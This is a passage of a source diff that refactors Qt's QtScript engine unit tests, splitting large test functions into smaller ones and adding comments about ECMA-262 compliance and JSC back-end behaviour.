fooToScriptValueV2, fooFromScriptValueV2); { QScriptValue num(&eng, 123); @@ -2343,6 +2421,11 @@ void tst_QScriptEngine::valueConversion() QCOMPARE(foo.x, 123); } +} + +void tst_QScriptEngine::valueConversion_basic2() +{ + QScriptEngine eng; // more built-in types { QScriptValue val = qScriptValueFromValue(&eng, uint(123)); @@ -2379,6 +2462,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(val.isNumber()); QCOMPARE(val.toInt32(), 123); } +} + +void tst_QScriptEngine::valueConversion_dateTime() +{ + QScriptEngine eng; { QDateTime in = QDateTime::currentDateTime(); QScriptValue val = qScriptValueFromValue(&eng, in); @@ -2391,6 +2479,11 @@ void tst_QScriptEngine::valueConversion() QVERIFY(val.isDate()); QCOMPARE(val.toDateTime().date(), in); } +} + +void tst_QScriptEngine::valueConversion_regExp() +{ + QScriptEngine eng; { QRegExp in = QRegExp("foo"); QScriptValue val = qScriptValueFromValue(&eng, in); @@ -2416,8 +2509,6 @@ void tst_QScriptEngine::valueConversion() QEXPECT_FAIL("", "QTBUG-6136: JSC-based back-end doesn't preserve QRegExp::minimal (always false)", Continue); QCOMPARE(val.toRegExp().isMinimal(), in.isMinimal()); } - - QCOMPARE(qscriptvalue_cast(QScriptValue(123)), QVariant(123)); } void tst_QScriptEngine::qScriptValueFromValue_noEngine() @@ -2522,7 +2613,7 @@ void tst_QScriptEngine::importExtension() QEXPECT_FAIL("", "JSC throws syntax error eagerly", Continue); QCOMPARE(eng.uncaughtExceptionLineNumber(), 4); QVERIFY(ret.isError()); - QCOMPARE(ret.property("message").toString(), QLatin1String("Parse error")); + QVERIFY(ret.toString().contains(QLatin1String("SyntaxError"))); } QStringList imp = eng.importedExtensions(); QCOMPARE(imp.size(), 2); @@ -2548,6 +2639,9 @@ static QScriptValue recurse2(QScriptContext *ctx, QScriptEngine *eng) void tst_QScriptEngine::infiniteRecursion() { + // Infinite recursion in JS should cause the VM to throw an error + // when the JS stack is exhausted. + // The exact error is back-end specific and subject to change. const QString stackOverflowError = QString::fromLatin1("RangeError: Maximum call stack size exceeded."); QScriptEngine eng; { @@ -2610,6 +2704,8 @@ void tst_QScriptEngine::castWithPrototypeChain() baz2.b = 456; QScriptValue baz2Value = qScriptValueFromValue(&eng, &baz2); { + // qscriptvalue_cast() does magic; if the QScriptValue contains + // t of type T, and the target type is T*, &t is returned. Baz *pbaz = qscriptvalue_cast(baz2Value); QVERIFY(pbaz != 0); QCOMPARE(pbaz->b, baz2.b); @@ -2632,6 +2728,13 @@ void tst_QScriptEngine::castWithPrototypeChain() } // establish chain -- now casting should work + // Why? because qscriptvalue_cast() does magic again. + // It the instance itself is not of type T, qscriptvalue_cast() + // searches the prototype chain for T, and if it finds one, it infers + // that the instance can also be casted to that type. This cast is + // _not_ safe and thus relies on the developer doing the right thing. + // This is an undocumented feature to enable qscriptvalue_cast() to + // be used by prototype functions to cast the JS this-object to C++. bazProto.setPrototype(barProto); { @@ -2740,6 +2843,9 @@ void tst_QScriptEngine::collectGarbage() void tst_QScriptEngine::reportAdditionalMemoryCost() { QScriptEngine eng; + // There isn't any reliable way to test whether calling + // this function affects garbage collection responsiveness; + // the best we can do is call it with a few different values. for (int x = 0; x < 1000; ++x) { eng.reportAdditionalMemoryCost(0); eng.reportAdditionalMemoryCost(10); @@ -2757,6 +2863,8 @@ void tst_QScriptEngine::reportAdditionalMemoryCost() void tst_QScriptEngine::gcWithNestedDataStructure() { + // The GC must be able to traverse deeply nested objects, otherwise this + // test would crash. QScriptEngine eng; eng.evaluate( "function makeList(size)" @@ -2778,6 +2886,7 @@ void tst_QScriptEngine::gcWithNestedDataStructure() if (x == 1) eng.evaluate("gc()"); QScriptValue l = head; + // Make sure all the nodes are still alive. for (int i = 0; i < 200; ++i) { QCOMPARE(l.property("data").toString(), QString::number(i)); l = l.property("next"); @@ -2807,6 +2916,8 @@ void tst_QScriptEngine::processEventsWhileRunning() if (x == 0) eng.pushContext(); + // This is running for a silly amount of time just to make sure + // the script doesn't finish before event processing is triggered. QString script = QString::fromLatin1( "var end = Number(new Date()) + 2000;" "var x = 0;" @@ -3012,6 +3123,8 @@ void tst_QScriptEngine::numberParsing() } // see ECMA-262, section 7.9 +// This is testing ECMA compliance, not our C++ API, but it's important that +// the back-end is conformant in this regard. void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptEngine eng; @@ -3257,7 +3370,7 @@ static QScriptValue myFunctionAbortingEvaluation(QScriptContext *, QScriptEngine return eng->nullValue(); // should be ignored } -void tst_QScriptEngine::abortEvaluation() +void tst_QScriptEngine::abortEvaluation_notEvaluating() { QScriptEngine eng; @@ -3270,7 +3383,11 @@ void tst_QScriptEngine::abortEvaluation() QVERIFY(ret.isString()); QCOMPARE(ret.toString(), QString::fromLatin1("ciao")); } +} +void tst_QScriptEngine::abortEvaluation() +{ + QScriptEngine eng; EventReceiver3 receiver(&eng); eng.setProcessEventsInterval(100); @@ -3301,6 +3418,13 @@ void tst_QScriptEngine::abortEvaluation() } } +} + +void tst_QScriptEngine::abortEvaluation_tryCatch() +{ + QScriptEngine eng; + EventReceiver3 receiver(&eng); + eng.setProcessEventsInterval(100); // scripts cannot intercept the abortion with try/catch for (int y = 0; y < 4; ++y) { QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); @@ -3334,13 +3458,15 @@ void tst_QScriptEngine::abortEvaluation() break; } } +} - { - QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation); - eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun); - QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()"); - QVERIFY(!ret.isValid()); - } +void tst_QScriptEngine::abortEvaluation_fromNative() +{ + QScriptEngine eng; + QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation); + eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun); + QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()"); + QVERIFY(!ret.isValid()); } class ThreadedEngine : public QThread { @@ -3407,7 +3533,7 @@ public: bool wasEvaluating; }; -void tst_QScriptEngine::isEvaluating() +void tst_QScriptEngine::isEvaluating_notEvaluating() { QScriptEngine eng; @@ -3419,30 +3545,34 @@ void tst_QScriptEngine::isEvaluating() QVERIFY(!eng.isEvaluating()); eng.evaluate("0 = 0"); QVERIFY(!eng.isEvaluating()); +} - { - QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating); - eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun); - QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()"); - QVERIFY(ret.isBoolean()); - QVERIFY(ret.toBoolean()); - } +void tst_QScriptEngine::isEvaluating_fromNative() +{ + QScriptEngine eng; + QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating); + eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun); + QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()"); + QVERIFY(ret.isBoolean()); + QVERIFY(ret.toBoolean()); +} - { - EventReceiver4 receiver(&eng); - QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); +void tst_QScriptEngine::isEvaluating_fromEvent() +{ + QScriptEngine eng; + EventReceiver4 receiver(&eng); + QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1))); - QString script = QString::fromLatin1( - "var end = Number(new Date()) + 1000;" - "var x = 0;" - "while (Number(new Date()) < end) {" - " ++x;" - "}"); + QString script = QString::fromLatin1( + "var end = Number(new Date()) + 1000;" + "var x = 0;" + "while (Number(new Date()) < end) {" + " ++x;" + "}"); - eng.setProcessEventsInterval(100); - eng.evaluate(script); - QVERIFY(receiver.wasEvaluating); - } + eng.setProcessEventsInterval(100); + eng.evaluate(script); + QVERIFY(receiver.wasEvaluating); } static QtMsgType theMessageType; @@ -3456,24 +3586,33 @@ static void myMsgHandler(QtMsgType type, const char *msg) void tst_QScriptEngine::printFunctionWithCustomHandler() { + // The built-in print() function passes the output to Qt's message + // handler. By installing a custom message handler, the output can be + // redirected without changing the print() function itself. + // This behavior is not documented. QScriptEngine eng; QtMsgHandler oldHandler = qInstallMsgHandler(myMsgHandler); QVERIFY(eng.globalObject().property("print").isFunction()); + theMessageType = QtSystemMsg; QVERIFY(theMessage.isEmpty()); QVERIFY(eng.evaluate("print('test')").isUndefined()); QCOMPARE(theMessageType, QtDebugMsg); QCOMPARE(theMessage, QString::fromLatin1("test")); + theMessageType = QtSystemMsg; theMessage.clear(); QVERIFY(eng.evaluate("print(3, true, 'little pigs')").isUndefined()); QCOMPARE(theMessageType, QtDebugMsg); QCOMPARE(theMessage, QString::fromLatin1("3 true little pigs")); + qInstallMsgHandler(oldHandler); } void tst_QScriptEngine::printThrowsException() { + // If an argument to print() causes an exception to be thrown when + // it's converted to a string, print() should propagate the exception. QScriptEngine eng; QScriptValue ret = eng.evaluate("print({ toString: function() { throw 'foo'; } });"); QVERIFY(eng.hasUncaughtException()); @@ -3506,34 +3645,30 @@ void tst_QScriptEngine::errorConstructors() } } -static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng) +void tst_QScriptEngine::argumentsProperty_globalContext() { - eng->evaluate("var a = arguments[0];"); - eng->evaluate("arguments[0] = 200;"); - return eng->evaluate("a + arguments[0]"); + QScriptEngine eng; + { + // Unlike function calls, the global context doesn't have an + // arguments property. + QScriptValue ret = eng.evaluate("arguments"); + QVERIFY(ret.isError()); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); + } + eng.evaluate("arguments = 10"); + { + QScriptValue ret = eng.evaluate("arguments"); + QVERIFY(ret.isNumber()); + QCOMPARE(ret.toInt32(), 10); + } + QVERIFY(eng.evaluate("delete arguments").toBoolean()); + QVERIFY(!eng.globalObject().property("arguments").isValid()); } - -void tst_QScriptEngine::argumentsProperty() +void tst_QScriptEngine::argumentsProperty_JS() { { QScriptEngine eng; - { - QScriptValue ret = eng.evaluate("arguments"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: arguments")); - } - eng.evaluate("arguments = 10"); - { - QScriptValue ret = eng.evaluate("arguments"); - QVERIFY(ret.isNumber()); - QCOMPARE(ret.toInt32(), 10); - } - QVERIFY(eng.evaluate("delete arguments").toBoolean()); - QVERIFY(!eng.globalObject().property("arguments").isValid()); - } - { - QScriptEngine eng; eng.evaluate("o = { arguments: 123 }"); QScriptValue ret = eng.evaluate("with (o) { arguments; }"); QVERIFY(ret.isNumber()); @@ -3542,25 +3677,40 @@ void tst_QScriptEngine::argumentsProperty() { QScriptEngine eng; QVERIFY(!eng.globalObject().property("arguments").isValid()); + // This is testing ECMA-262 compliance. In function calls, "arguments" + // appears like a local variable, and it can be replaced. QScriptValue ret = eng.evaluate("(function() { arguments = 456; return arguments; })()"); QVERIFY(ret.isNumber()); QCOMPARE(ret.toInt32(), 456); QVERIFY(!eng.globalObject().property("arguments").isValid()); } +} - { - QScriptEngine eng; - QScriptValue fun = eng.newFunction(argumentsProperty_fun); - eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun)); - QScriptValue result = eng.evaluate("fun(18)"); - QVERIFY(result.isNumber()); - QCOMPARE(result.toInt32(), 218); - } +static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng) +{ + // Since evaluate() is done in the current context, "arguments" should + // refer to currentContext()->argumentsObject(). + // This is for consistency with the built-in JS eval() function. + eng->evaluate("var a = arguments[0];"); + eng->evaluate("arguments[0] = 200;"); + return eng->evaluate("a + arguments[0]"); } -void tst_QScriptEngine::numberClass() +void tst_QScriptEngine::argumentsProperty_evaluateInNativeFunction() { QScriptEngine eng; + QScriptValue fun = eng.newFunction(argumentsProperty_fun); + eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun)); + QScriptValue result = eng.evaluate("fun(18)"); + QVERIFY(result.isNumber()); + QCOMPARE(result.toInt32(), 200+18); +} + +void tst_QScriptEngine::jsNumberClass() +{ + // See ECMA-262 Section 15.7, "Number Objects". + + QScriptEngine eng; QScriptValue ctor = eng.globalObject().property("Number"); QVERIFY(ctor.property("length").isNumber()); @@ -3669,7 +3819,7 @@ void tst_QScriptEngine::numberClass() } } -void tst_QScriptEngine::forInStatement() +void tst_QScriptEngine::jsForInStatement_simple() { QScriptEngine eng; { @@ -3692,8 +3842,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); QCOMPARE(lst.at(1), QString::fromLatin1("q")); } +} - // properties in prototype +void tst_QScriptEngine::jsForInStatement_prototypeProperties() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("o = { }; o.__proto__ = { p: 123 }; r = [];" "for (var p in o) r[r.length] = p; r"); @@ -3718,6 +3871,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); } +} + +void tst_QScriptEngine::jsForInStatement_mutateWhileIterating() +{ + QScriptEngine eng; // deleting property during enumeration { QScriptValue ret = eng.evaluate("o = { p: 123 }; r = [];" @@ -3743,7 +3901,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(0), QString::fromLatin1("p")); } - // arrays +} + +void tst_QScriptEngine::jsForInStatement_arrays() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("a = [123, 456]; r = [];" "for (var p in a) r[r.length] = p; r"); @@ -3774,10 +3936,11 @@ void tst_QScriptEngine::forInStatement() QCOMPARE(lst.at(3), QString::fromLatin1("2")); QCOMPARE(lst.at(4), QString::fromLatin1("bar")); } +} - // null and undefined - // according to the spec, we should throw an exception; however, for - // compability with the real world, we don't +void tst_QScriptEngine::jsForInStatement_nullAndUndefined() +{ + QScriptEngine eng; { QScriptValue ret = eng.evaluate("r = true; for (var p in undefined) r = false; r"); QVERIFY(ret.isBool()); @@ -3790,9 +3953,17 @@ void tst_QScriptEngine::forInStatement() } } -void tst_QScriptEngine::functionExpression() +void tst_QScriptEngine::jsFunctionDeclarationAsStatement() { - // task 175679 + // ECMA-262 does not allow function declarations to be used as statements, + // but several popular implementations (including JSC) do. See the NOTE + // at the beginning of chapter 12 in ECMA-262 5th edition, where it's + // recommended that implementations either disallow this usage or issue + // a warning. + // Since we had a bug report long ago about QtScript not supporting this + // "feature" (and thus deviating from other implementations), we still + // check this behavior. + QScriptEngine eng; QVERIFY(!eng.globalObject().property("bar").isValid()); eng.evaluate("function foo(arg) {\n" @@ -3825,6 +3996,8 @@ void tst_QScriptEngine::functionExpression() void tst_QScriptEngine::stringObjects() { + // See ECMA-262 Section 15.5, "String Objects". + QScriptEngine eng; QString str("ciao"); // in C++ @@ -3886,7 +4059,11 @@ void tst_QScriptEngine::stringObjects() QVERIFY(ret7.isBoolean()); QVERIFY(ret7.toBoolean()); } +} +void tst_QScriptEngine::jsStringPrototypeReplaceBugs() +{ + QScriptEngine eng; // task 212440 { QScriptValue ret = eng.evaluate("replace_args = []; \"a a a\".replace(/(a)/g, function() { replace_args.push(arguments); }); replace_args"); @@ -4038,8 +4215,10 @@ void tst_QScriptEngine::getterSetterThisObject_activation() } } -void tst_QScriptEngine::continueInSwitch() +void tst_QScriptEngine::jsContinueInSwitch() { + // This is testing ECMA-262 compliance, not C++ API. + QScriptEngine eng; // switch - continue { @@ -4116,35 +4295,17 @@ void tst_QScriptEngine::continueInSwitch() } } -void tst_QScriptEngine::readOnlyPrototypeProperty() +void tst_QScriptEngine::jsShadowReadOnlyPrototypeProperty() { - QSKIP("JSC semantics differ from old back-end and SpiderMonkey", SkipAll); + // SpiderMonkey has different behavior than JSC and V8; it disallows + // creating a property on the instance if there's a property with the + // same name in the prototype, and that property is read-only. We + // adopted that behavior in the old (4.5) QtScript back-end, but it + // just seems weird -- and non-compliant. Adopt the JSC behavior instead. QScriptEngine eng; - QCOMPARE(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length = 4; o.length").toInt32(), 2); - QVERIFY(!eng.evaluate("o.hasOwnProperty('length')").toBoolean()); - QCOMPARE(eng.evaluate("o.length *= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length /= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length %= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length += 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length -= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length <<= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length >>= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length >>>= 2; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length &= 0; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length ^= 255; o.length").toInt32(), 2); - QCOMPARE(eng.evaluate("o.length |= 255; o.length").toInt32(), 2); - - { - QScriptValue ret = eng.evaluate("o.__defineGetter__('length', function() {})"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property")); - } - { - QScriptValue ret = eng.evaluate("o.__defineSetter__('length', function() {})"); - QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property")); - } + QVERIFY(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").isNumber()); + QCOMPARE(eng.evaluate("o.length = 123; o.length").toInt32(), 123); + QVERIFY(eng.evaluate("o.hasOwnProperty('length')").toBoolean()); } void tst_QScriptEngine::toObject() @@ -4226,7 +4387,7 @@ void tst_QScriptEngine::toObject() QVERIFY(stringValue.isString()); } -void tst_QScriptEngine::reservedWords_data() +void tst_QScriptEngine::jsReservedWords_data() { QTest::addColumn("word"); QTest::newRow("break") << QString("break"); @@ -4259,8 +4420,13 @@ void tst_QScriptEngine::reservedWords_data() QTest::newRow("with") << QString("with"); } -void tst_QScriptEngine::reservedWords() +void tst_QScriptEngine::jsReservedWords() { + // See ECMA-262 Section 7.6.1, "Reserved Words". + // We prefer that the implementation is less strict than the spec; e.g. + // it's good to allow reserved words as identifiers in object literals, + // and when accessing properties using dot notation. + QFETCH(QString, word); { QScriptEngine eng; @@ -4298,7 +4464,7 @@ void tst_QScriptEngine::reservedWords() } } -void tst_QScriptEngine::futureReservedWords_data() +void tst_QScriptEngine::jsFutureReservedWords_data() { QTest::addColumn("word"); QTest::addColumn("allowed"); @@ -4335,8 +4501,12 @@ void tst_QScriptEngine::futureReservedWords_data() QTest::newRow("volatile") << QString("volatile") << true; } -void tst_QScriptEngine::futureReservedWords() +void tst_QScriptEngine::jsFutureReservedWords() { + // See ECMA-262 Section 7.6.1.2, "Future Reserved Words". + // In real-world implementations, most of these words are + // actually allowed as normal identifiers. + QFETCH(QString, word); QFETCH(bool, allowed); { @@ -4364,8 +4534,10 @@ void tst_QScriptEngine::futureReservedWords() } } -void tst_QScriptEngine::throwInsideWithStatement() +void tst_QScriptEngine::jsThrowInsideWithStatement() { + // This is testing ECMA-262 compliance, not C++ API. + // task 209988 QScriptEngine eng; { @@ -4379,7 +4551,7 @@ void tst_QScriptEngine::throwInsideWithStatement() " bad;" "}"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad")); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); } { QScriptValue ret = eng.evaluate( @@ -4392,7 +4564,7 @@ void tst_QScriptEngine::throwInsideWithStatement() " bad;" "}"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad")); + QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError"))); } { eng.clearExceptions(); @@ -4419,7 +4591,7 @@ void tst_QScriptEngine::throwInsideWithStatement() QVERIFY(ret.isNumber()); QScriptValue ret2 = eng.evaluate("bug"); QVERIFY(ret2.isError()); - QCOMPARE(ret2.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bug")); + QVERIFY(ret2.toString().contains(QString::fromLatin1("ReferenceError"))); } } @@ -4429,106 +4601,116 @@ public: TestAgent(QScriptEngine *engine) : QScriptEngineAgent(engine) {} }; -void tst_QScriptEngine::getSetAgent() +void tst_QScriptEngine::getSetAgent_ownership() { - // case 1: engine deleted before agent --> agent deleted too - { - QScriptEngine *eng = new QScriptEngine; - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - TestAgent *agent = new TestAgent(eng); - eng->setAgent(agent); - QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); - eng->setAgent(0); // the engine maintains ownership of the old agent - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - delete eng; - } - // case 2: agent deleted before engine --> engine's agent should become 0 - { - QScriptEngine *eng = new QScriptEngine; - TestAgent *agent = new TestAgent(eng); - eng->setAgent(agent); - QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); - delete agent; - QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); - eng->evaluate("(function(){ return 123; })()"); - delete eng; - } - { - QScriptEngine eng; - QScriptEngine eng2; - TestAgent *agent = new TestAgent(&eng); - QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine"); - eng2.setAgent(agent); - QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0); - } + // engine deleted before agent --> agent deleted too + QScriptEngine *eng = new QScriptEngine; + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + TestAgent *agent = new TestAgent(eng); + eng->setAgent(agent); + QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); + eng->setAgent(0); // the engine maintains ownership of the old agent + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + delete eng; } -void tst_QScriptEngine::reentrancy() +void tst_QScriptEngine::getSetAgent_deleteAgent() { + // agent deleted before engine --> engine's agent should become 0 + QScriptEngine *eng = new QScriptEngine; + TestAgent *agent = new TestAgent(eng); + eng->setAgent(agent); + QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent); + delete agent; + QCOMPARE(eng->agent(), (QScriptEngineAgent*)0); + eng->evaluate("(function(){ return 123; })()"); + delete eng; +} + +void tst_QScriptEngine::getSetAgent_differentEngine() +{ + QScriptEngine eng; + QScriptEngine eng2; + TestAgent *agent = new TestAgent(&eng); + QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine"); + eng2.setAgent(agent); + QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0); +} + +void tst_QScriptEngine::reentrancy_stringHandles() +{ + QScriptEngine eng1; + QScriptEngine eng2; + QScriptString s1 = eng1.toStringHandle("foo"); + QScriptString s2 = eng2.toStringHandle("foo"); + QVERIFY(s1 != s2); +} + +void tst_QScriptEngine::reentrancy_processEventsInterval() +{ + QScriptEngine eng1; + QScriptEngine eng2; + eng1.setProcessEventsInterval(123); + QCOMPARE(eng2.processEventsInterval(), -1); + eng2.setProcessEventsInterval(456); + QCOMPARE(eng1.processEventsInterval(), 123); +} + +void tst_QScriptEngine::reentrancy_typeConversion() +{ + QScriptEngine eng1; + QScriptEngine eng2; + qScriptRegisterMetaType(&eng1, fooToScriptValue, fooFromScriptValue); + Foo foo; + foo.x = 12; + foo.y = 34; { - QScriptEngine eng1; - QScriptEngine eng2; - QScriptString s1 = eng1.toStringHandle("foo"); - QScriptString s2 = eng2.toStringHandle("foo"); - QVERIFY(s1 != s2); - } - { - QScriptEngine eng1; - QScriptEngine eng2; - eng1.setProcessEventsInterval(123); - QCOMPARE(eng2.processEventsInterval(), -1); - eng2.setProcessEventsInterval(456); - QCOMPARE(eng1.processEventsInterval(), 123); + QScriptValue fooVal = qScriptValueFromValue(&eng1, foo); + QVERIFY(fooVal.isObject()); + QVERIFY(!fooVal.isVariant()); + QCOMPARE(fooVal.property("x").toInt32(), 12); + QCOMPARE(fooVal.property("y").toInt32(), 34); + fooVal.setProperty("x", 56); + fooVal.setProperty("y", 78); + + Foo foo2 = qScriptValueToValue(fooVal); + QCOMPARE(foo2.x, 56); + QCOMPARE(foo2.y, 78); } { - QScriptEngine eng1; - QScriptEngine eng2; - qScriptRegisterMetaType(&eng1, fooToScriptValue, fooFromScriptValue); - Foo foo; - foo.x = 12; - foo.y = 34; - { - QScriptValue fooVal = qScriptValueFromValue(&eng1, foo); - QVERIFY(fooVal.isObject()); - QVERIFY(!fooVal.isVariant()); - QCOMPARE(fooVal.property("x").toInt32(), 12); - QCOMPARE(fooVal.property("y").toInt32(), 34); - fooVal.setProperty("x", 56); - fooVal.setProperty("y", 78); - - Foo foo2 = qScriptValueToValue(fooVal); - QCOMPARE(foo2.x, 56); - QCOMPARE(foo2.y, 78); - } - { - QScriptValue fooVal = qScriptValueFromValue(&eng2, foo); - QVERIFY(fooVal.isVariant()); + QScriptValue fooVal = qScriptValueFromValue(&eng2, foo); + QVERIFY(fooVal.isVariant()); - Foo foo2 = qScriptValueToValue(fooVal); - QCOMPARE(foo2.x, 12); - QCOMPARE(foo2.y, 34); - } - QVERIFY(!eng1.defaultPrototype(qMetaTypeId()).isValid()); - QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); - QScriptValue proto1 = eng1.newObject(); - eng1.setDefaultPrototype(qMetaTypeId(), proto1); - QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); - QScriptValue proto2 = eng2.newObject(); - eng2.setDefaultPrototype(qMetaTypeId(), proto2); - QVERIFY(eng2.defaultPrototype(qMetaTypeId()).isValid()); - QVERIFY(eng1.defaultPrototype(qMetaTypeId()).strictlyEquals(proto1)); - } - { - QScriptEngine eng1; - QScriptEngine eng2; - QVERIFY(!eng2.globalObject().property("a").isValid()); - eng1.evaluate("a = 10"); - QVERIFY(eng1.globalObject().property("a").isNumber()); - QVERIFY(!eng2.globalObject().property("a").isValid()); - eng2.evaluate("a = 20"); - QVERIFY(eng2.globalObject().property("a").isNumber()); - QCOMPARE(eng1.globalObject().property("a").toInt32(), 10); + Foo foo2 = qScriptValueToValue(fooVal); + QCOMPARE(foo2.x, 12); + QCOMPARE(foo2.y, 34); } + QVERIFY(!eng1.defaultPrototype(qMetaTypeId()).isValid()); + QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); + QScriptValue proto1 = eng1.newObject(); + eng1.setDefaultPrototype(qMetaTypeId(), proto1); + QVERIFY(!eng2.defaultPrototype(qMetaTypeId()).isValid()); + QScriptValue proto2 = eng2.newObject(); + eng2.setDefaultPrototype(qMetaTypeId(), proto2); + QVERIFY(eng2.defaultPrototype(qMetaTypeId()).isValid()); + QVERIFY(eng1.defaultPrototype(qMetaTypeId()).strictlyEquals(proto1)); +} + +void tst_QScriptEngine::reentrancy_globalObjectProperties() +{ + QScriptEngine eng1; + QScriptEngine eng2; + QVERIFY(!eng2.globalObject().property("a").isValid()); + eng1.evaluate("a = 10"); + QVERIFY(eng1.globalObject().property("a").isNumber()); + QVERIFY(!eng2.globalObject().property("a").isValid()); + eng2.evaluate("a = 20"); + QVERIFY(eng2.globalObject().property("a").isNumber()); + QCOMPARE(eng1.globalObject().property("a").toInt32(), 10); +} + +void tst_QScriptEngine::reentrancy_Array() +{ // weird bug with JSC backend { QScriptEngine eng; @@ -4540,79 +4722,82 @@ void tst_QScriptEngine::reentrancy() QScriptEngine eng; QCOMPARE(eng.evaluate("Array()").toString(), QString()); } +} +void tst_QScriptEngine::reentrancy_objectCreation() +{ + QScriptEngine eng1; + QScriptEngine eng2; { - QScriptEngine eng1; - QScriptEngine eng2; - { - QScriptValue d1 = eng1.newDate(0); - QScriptValue d2 = eng2.newDate(0); - QCOMPARE(d1.toDateTime(), d2.toDateTime()); - QCOMPARE(d2.toDateTime(), d1.toDateTime()); - } - { - QScriptValue r1 = eng1.newRegExp("foo", "gim"); - QScriptValue r2 = eng2.newRegExp("foo", "gim"); - QCOMPARE(r1.toRegExp(), r2.toRegExp()); - QCOMPARE(r2.toRegExp(), r1.toRegExp()); - } - { - QScriptValue o1 = eng1.newQObject(this); - QScriptValue o2 = eng2.newQObject(this); - QCOMPARE(o1.toQObject(), o2.toQObject()); - QCOMPARE(o2.toQObject(), o1.toQObject()); - } - { - QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject); - QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject); - QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject()); - QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject()); - } + QScriptValue d1 = eng1.newDate(0); + QScriptValue d2 = eng2.newDate(0); + QCOMPARE(d1.toDateTime(), d2.toDateTime()); + QCOMPARE(d2.toDateTime(), d1.toDateTime()); + } + { + QScriptValue r1 = eng1.newRegExp("foo", "gim"); + QScriptValue r2 = eng2.newRegExp("foo", "gim"); + QCOMPARE(r1.toRegExp(), r2.toRegExp()); + QCOMPARE(r2.toRegExp(), r1.toRegExp()); + } + { + QScriptValue o1 = eng1.newQObject(this); + QScriptValue o2 = eng2.newQObject(this); + QCOMPARE(o1.toQObject(), o2.toQObject()); + QCOMPARE(o2.toQObject(), o1.toQObject()); + } + { + QScriptValue mo1 = eng1.newQMetaObject(&staticMetaObject); + QScriptValue mo2 = eng2.newQMetaObject(&staticMetaObject); + QCOMPARE(mo1.toQMetaObject(), mo2.toQMetaObject()); + QCOMPARE(mo2.toQMetaObject(), mo1.toQMetaObject()); } } -void tst_QScriptEngine:: incDecNonObjectProperty() +void tst_QScriptEngine::jsIncDecNonObjectProperty() { + // This is testing ECMA-262 compliance, not C++ API. + QScriptEngine eng; { QScriptValue ret = eng.evaluate("var a; a.n++"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("TypeError: Result of expression 'a' 